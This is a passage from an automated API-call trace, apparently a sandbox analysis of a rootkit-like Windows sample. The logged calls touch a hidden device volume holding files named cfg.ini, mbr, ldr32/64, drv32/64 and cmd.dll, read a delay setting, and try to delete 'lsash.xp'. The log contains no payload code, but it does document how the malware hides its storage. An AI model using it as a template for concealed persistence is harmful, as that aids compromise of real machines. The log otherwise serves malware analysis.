_Dest="0d24eb7c\\cfg.ini") returned 16 [0127.987] KeEnterCriticalRegion () [0127.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.987] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.987] IdePortDispatch () returned 0x103 [0127.987] KeWaitForMutexObject () returned 0x0 [0127.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.988] KeLeaveCriticalRegion () [0127.988] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.988] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.988] KeEnterCriticalRegion () [0127.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca2000 [0127.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.988] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.988] IdePortDispatch () returned 0x103 [0127.988] KeWaitForMutexObject () returned 0x0 [0127.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.988] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.988] IdePortDispatch () returned 0x103 [0127.989] KeWaitForMutexObject () returned 0x0 [0127.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.989] KeLeaveCriticalRegion () [0127.989] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.989] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.989] KeEnterCriticalRegion () [0127.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.989] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.989] KeLeaveCriticalRegion () [0127.989] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.990] KeEnterCriticalRegion () [0127.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.990] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.990] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.990] KeLeaveCriticalRegion () [0127.990] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.990] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.990] KeEnterCriticalRegion () [0127.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.990] ExFreePoolWithTag (P=0xfffffa8003bfef60, Tag=0x0) [0127.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.990] KeLeaveCriticalRegion () [0127.990] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.990] ReleaseMutex (hMutex=0xf0) returned 1 [0127.990] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.998] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.998] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.998] KeEnterCriticalRegion () [0127.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.998] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.998] IdePortDispatch () returned 0x103 [0127.999] KeWaitForMutexObject () returned 0x0 [0127.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.999] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.999] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.999] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.999] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.999] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd760 [0127.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.999] KeLeaveCriticalRegion () [0127.999] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.999] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.999] KeEnterCriticalRegion () [0127.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.999] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.999] KeLeaveCriticalRegion () [0127.999] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.999] KeEnterCriticalRegion () [0127.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.999] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.999] IdePortDispatch () returned 0x103 [0128.000] KeWaitForMutexObject () returned 0x0 [0128.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.000] KeLeaveCriticalRegion () [0128.000] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.000] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.000] KeEnterCriticalRegion () [0128.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.000] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca5000 [0128.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.000] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.000] IdePortDispatch () returned 0x103 [0128.000] KeWaitForMutexObject () returned 0x0 [0128.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.000] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.000] IdePortDispatch () returned 0x103 [0128.001] KeWaitForMutexObject () returned 0x0 [0128.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.001] KeLeaveCriticalRegion () [0128.001] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.001] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.001] KeEnterCriticalRegion () [0128.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.001] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.001] KeLeaveCriticalRegion () [0128.002] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.002] KeEnterCriticalRegion () [0128.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.002] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.002] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdbe0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.002] KeLeaveCriticalRegion () [0128.002] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.002] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.002] KeEnterCriticalRegion () [0128.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.002] ExFreePoolWithTag (P=0xfffffa8003bfd760, Tag=0x0) [0128.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.002] KeLeaveCriticalRegion () [0128.002] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.002] ReleaseMutex (hMutex=0xf0) returned 1 [0128.002] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.002] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.002] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.002] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.002] KeEnterCriticalRegion () [0128.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.002] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.002] IdePortDispatch () returned 0x103 [0128.003] KeWaitForMutexObject () returned 0x0 [0128.003] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.003] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.003] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.003] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.003] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.003] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.003] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.003] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.003] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.003] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.003] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.003] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.003] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.003] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.003] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.003] KeLeaveCriticalRegion () [0128.003] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.003] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.003] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.003] KeEnterCriticalRegion () [0128.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.003] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.003] IdePortDispatch () returned 0x103 [0128.004] KeWaitForMutexObject () returned 0x0 [0128.004] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.004] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.004] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.004] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.004] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.004] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.004] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.004] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.004] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.004] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.004] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.004] KeLeaveCriticalRegion () [0128.004] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.004] ReleaseMutex (hMutex=0x100) returned 1 [0128.004] Sleep (dwMilliseconds=0x2bf20) [0128.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f7f6b10, dwHighDateTime=0x1d24fa4)) [0128.013] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.013] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.013] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.013] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.013] KeEnterCriticalRegion () [0128.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.013] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.013] IdePortDispatch () returned 0x103 [0128.014] KeWaitForMutexObject () returned 0x0 [0128.014] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.014] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.014] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.014] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.014] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.014] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9760 [0128.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.014] KeLeaveCriticalRegion () [0128.014] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.014] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.014] KeEnterCriticalRegion () [0128.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.015] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.015] KeLeaveCriticalRegion () [0128.015] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.015] KeEnterCriticalRegion () [0128.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.015] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.015] IdePortDispatch () returned 0x103 [0128.015] KeWaitForMutexObject () returned 0x0 [0128.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.015] KeLeaveCriticalRegion () [0128.015] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.015] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.015] KeEnterCriticalRegion () [0128.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.015] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca8000 [0128.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.015] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.015] IdePortDispatch () returned 0x103 [0128.015] KeWaitForMutexObject () returned 0x0 [0128.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.016] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.016] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.016] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.016] IdePortDispatch () returned 0x103 [0128.016] KeWaitForMutexObject () returned 0x0 [0128.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.016] KeLeaveCriticalRegion () [0128.016] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.016] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.016] KeEnterCriticalRegion () [0128.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.016] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.016] KeLeaveCriticalRegion () [0128.016] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.017] KeEnterCriticalRegion () [0128.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.017] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.017] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.017] KeLeaveCriticalRegion () [0128.017] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.017] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.017] KeEnterCriticalRegion () [0128.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 